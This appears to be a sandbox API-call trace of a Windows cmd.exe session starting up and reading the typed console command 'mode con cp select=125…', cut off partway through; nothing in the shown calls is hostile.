[0204.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x4016) returned 0x39ad00 [0204.409] GetProcessHeap () returned 0x380000 [0204.409] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ad00 | out: hHeap=0x380000) returned 1 [0204.409] GetConsoleOutputCP () returned 0x1b5 [0204.489] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0204.489] GetUserDefaultLCID () returned 0x409 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa67b50, cchData=8 | out: lpLCData=":") returned 2 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20f6a0, cchData=128 | out: lpLCData="0") returned 2 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20f6a0, cchData=128 | out: lpLCData="0") returned 2 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20f6a0, cchData=128 | out: lpLCData="1") returned 2 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa7a740, cchData=8 | out: lpLCData="/") returned 2 [0204.491] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa7a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa7a460, cchData=32 | out: lpLCData="Tue") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa7a420, cchData=32 | out: lpLCData="Wed") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa7a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa7a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa7a360, cchData=32 | out: lpLCData="Sat") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa7a700, cchData=32 | out: lpLCData="Sun") returned 4 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa67b40, cchData=8 | out: lpLCData=".") returned 2 [0204.492] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa7a4e0, cchData=8 | out: lpLCData=",") returned 2 [0204.493] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0204.496] GetProcessHeap () returned 0x380000 [0204.496] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x0, Size=0x20c) returned 0x399620 [0204.496] GetConsoleTitleW (in: lpConsoleTitle=0x399620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0204.498] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.498] GetFileType (hFile=0xf4) returned 0x3 [0204.500] BrandingFormatString () returned 0x399840 [0204.517] GetVersion () returned 0x1db10106 [0204.517] _vsnwprintf (in: _Buffer=0x20f810, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x20f7a8 | out: _Buffer="6.1.7601") returned 8 [0204.517] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.517] GetFileType (hFile=0xf4) returned 0x3 [0204.518] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aa76340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0204.520] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aa76340, nSize=0x2000, Arguments=0x20f7b0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0204.520] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0204.520] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20f738, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f738*=0x24, lpOverlapped=0x0) returned 1 [0204.521] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f7d8 | out: _Buffer="\r\n") returned 2 [0204.521] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.521] GetFileType (hFile=0xf4) returned 0x3 [0204.521] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0204.521] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f7a8*=0x2, lpOverlapped=0x0) returned 1 [0204.521] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x20f7d8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0204.521] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.521] GetFileType (hFile=0xf4) returned 0x3 [0204.522] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0204.522] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f7a8*=0x3f, lpOverlapped=0x0) returned 1 [0204.522] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f7d8 | out: _Buffer="\r\n") returned 2 [0204.522] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.522] GetFileType (hFile=0xf4) returned 0x3 [0204.522] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0204.522] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f7a8*=0x2, lpOverlapped=0x0) returned 1 [0204.523] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76bf0000 [0204.523] GetProcAddress (hModule=0x76bf0000, lpProcName="CopyFileExW") returned 0x76c023d0 [0204.523] GetProcAddress (hModule=0x76bf0000, lpProcName="IsDebuggerPresent") returned 0x76bf8290 [0204.524] GetProcAddress (hModule=0x76bf0000, lpProcName="SetConsoleInputExeNameW") returned 0x76c017e0 [0204.524] _get_osfhandle (_FileHandle=0) returned 0xe8 [0204.524] GetFileType (hFile=0xe8) returned 0x3 [0204.524] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0204.524] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x20f600 | out: TokenHandle=0x20f600*=0x0) returned 0xc000007c [0204.525] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x20f600 | out: TokenHandle=0x20f600*=0x50) returned 0x0 [0204.525] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x20f610, TokenInformationLength=0x4, ReturnLength=0x20f618 | out: TokenInformation=0x20f610, ReturnLength=0x20f618) returned 0x0 [0205.063] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x20f618, TokenInformationLength=0x4, ReturnLength=0x20f610 | out: TokenInformation=0x20f618, ReturnLength=0x20f610) returned 0x0 [0205.063] NtClose (Handle=0x50) returned 0x0 [0205.064] GetProcessHeap () returned 0x380000 [0205.064] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39aae0 | out: hHeap=0x380000) returned 1 [0205.662] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f318 | out: _Buffer="\r\n") returned 2 [0205.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.662] GetFileType (hFile=0xf4) returned 0x3 [0205.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0205.662] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f2e8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f2e8*=0x2, lpOverlapped=0x0) returned 1 [0205.663] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0205.663] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0205.663] _vsnwprintf (in: _Buffer=0x4aa5eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f328 | out: _Buffer="C:\\Windows\\system32") returned 19 [0205.663] _vsnwprintf (in: _Buffer=0x4aa5eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x20f328 | out: _Buffer=">") returned 1 [0205.663] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.663] GetFileType (hFile=0xf4) returned 0x3 [0205.664] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0205.664] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x20f318, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f318*=0x14, lpOverlapped=0x0) returned 1 [0205.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.665] GetFileType (hFile=0xe8) returned 0x3 [0205.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0205.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0205.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0205.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0205.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0205.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0205.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0205.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0205.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0205.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0205.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0205.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0205.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0205.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0205.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0205.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0205.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0205.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0205.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0205.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0205.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.675] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.675] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0205.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.675] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.675] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0205.676] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.676] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.676] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 